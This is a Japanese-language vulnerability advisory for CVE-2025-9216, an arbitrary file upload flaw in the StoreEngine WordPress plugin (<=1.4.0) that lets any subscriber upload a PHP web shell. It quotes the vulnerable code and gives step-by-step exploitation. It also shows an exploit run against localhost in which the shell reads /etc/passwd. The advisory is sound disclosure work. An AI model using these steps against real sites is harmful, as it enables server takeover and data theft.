
StoreEngine – 決済、メンバーシップ、アフィリエイト、販売などのための強力なWordPress eコマースプラグイン <= 1.4.0 - 認証済み (Subscriber+) 任意ファイルアップロード
StoreEngine プラグインは、CSVインポート/エクスポート機能に脆弱性を含んでおり、任意の認証済みユーザー(購読者、投稿者、編集者など)が任意のファイルをアップロードし、リモートコード実行を取得することを許可します。この脆弱性は2つのセキュリティ上の欠陥に起因します:(1) CSVインポートエンドポイントは適切なファイル検証チェックや権限チェックが欠如しており、セキュリティをnonce検証のみに依存している。(2) storeengine_nonce がプラグインのJavaScriptを通じてすべてのフロントエンドユーザーに公開されている。この組み合わせにより、任意の認証済みユーザーがフロントエンドページからnonceを抽出し、storeengine_csv/import エンドポイントを介してPHPウェブシェルをアップロードすることができ、実質的に購読者以上のユーザーにサーバー上で任意のコードを実行する能力を与えます。
omg.php という名前のウェブシェルをアップロードすることを示すために提供されています。python3 ./CVE-2025-9216.py http://localhost:1337 user1 password
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: ff15beb1bd
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
Uploading web shell: omg.php
File upload response: {"success":true,"data":{"filename":"omg.php"}}
Web Shell At: http://localhost:1337/wp-content/uploads/storeengine_uploads/csv/omg.php
Executing test command: cat /etc/passwd
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
</pre>
storeengine_csv/import AJAXアクションは、/wp-content/plugins/storeengine/addons/csv/ajax/import.php の 51行目 にある import() 関数を呼び出しますが、適切な権限チェックとファイルタイプの検証が欠如しています。
public function import() {
if ( ! isset( $_FILES['file'] ) ) {
wp_send_json_error( 'No file uploaded.' );
}
$file = $_FILES['file'];
$folder = Helper::get_upload_dir() . '/csv/';
if ( ! file_exists( $folder ) ) {
wp_mkdir_p( $folder );
}
$filename = sanitize_file_name( $file['name'] );
$target = trailingslashit( $folder ) . $filename;
if ( ! move_uploaded_file( $file['tmp_name'], $target ) ) {
wp_send_json_error( 'Failed to move uploaded file.' );
}
wp_send_json_success( [
'filename' => $filename,
] );
}
この関数はファイル名のクリーニングに sanitize_file_name() のみを使用しており、ファイルタイプの検証や権限チェックを一切行いません。そのため、Webサーバーで実行可能なPHPファイルを含む任意のファイルタイプをアップロードすることが可能です。
storeengine_nonce はプラグインのJavaScriptを通じてすべてのフロントエンドユーザーに公開されています。これは /wp-content/plugins/storeengine/includes/assets.php の 279行目 にある _get_script_data() メソッドで発生します。
public function _get_script_data(): array {
// ... other data ...
return [
'nonce' => wp_create_nonce( 'wp_rest' ),
'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
'rest_url' => esc_url_raw( rest_url() ),
// ... other data ...
];
}
このnonceは、120行目 の frontend_scripts() メソッドを介してフロントエンドJavaScriptにローカライズされます。
wp_localize_script(
'storeengine-frontend-scripts',
'StoreEngineGlobal',
$this->get_frontend_script_data() // Calls _get_script_data()
);
nonceは /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php の 510行目 にある AbstractRequestHandler::check_permission() メソッドで検証されます。
protected function check_permission( string $capability, bool $allow_visitors = false ) {
if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
return new WP_Error(/* ... */);
}
return true;
}
この組み合わせにより、任意の認証済みユーザーがリモートコード実行のためのPHPウェブシェルを含む任意のファイルをアップロードできるようになります。
/wp-admin/admin-ajax.php への POST リクエストをインターセプトし、storeengine_csv/import アクションを呼び出します。{"success":true,"data":{"filename":"shell.php"}} を受け取ります。https://example.com/wp-content/uploads/storeengine_uploads/csv/shell.php でウェブシェルにアクセスし、コードを実行します。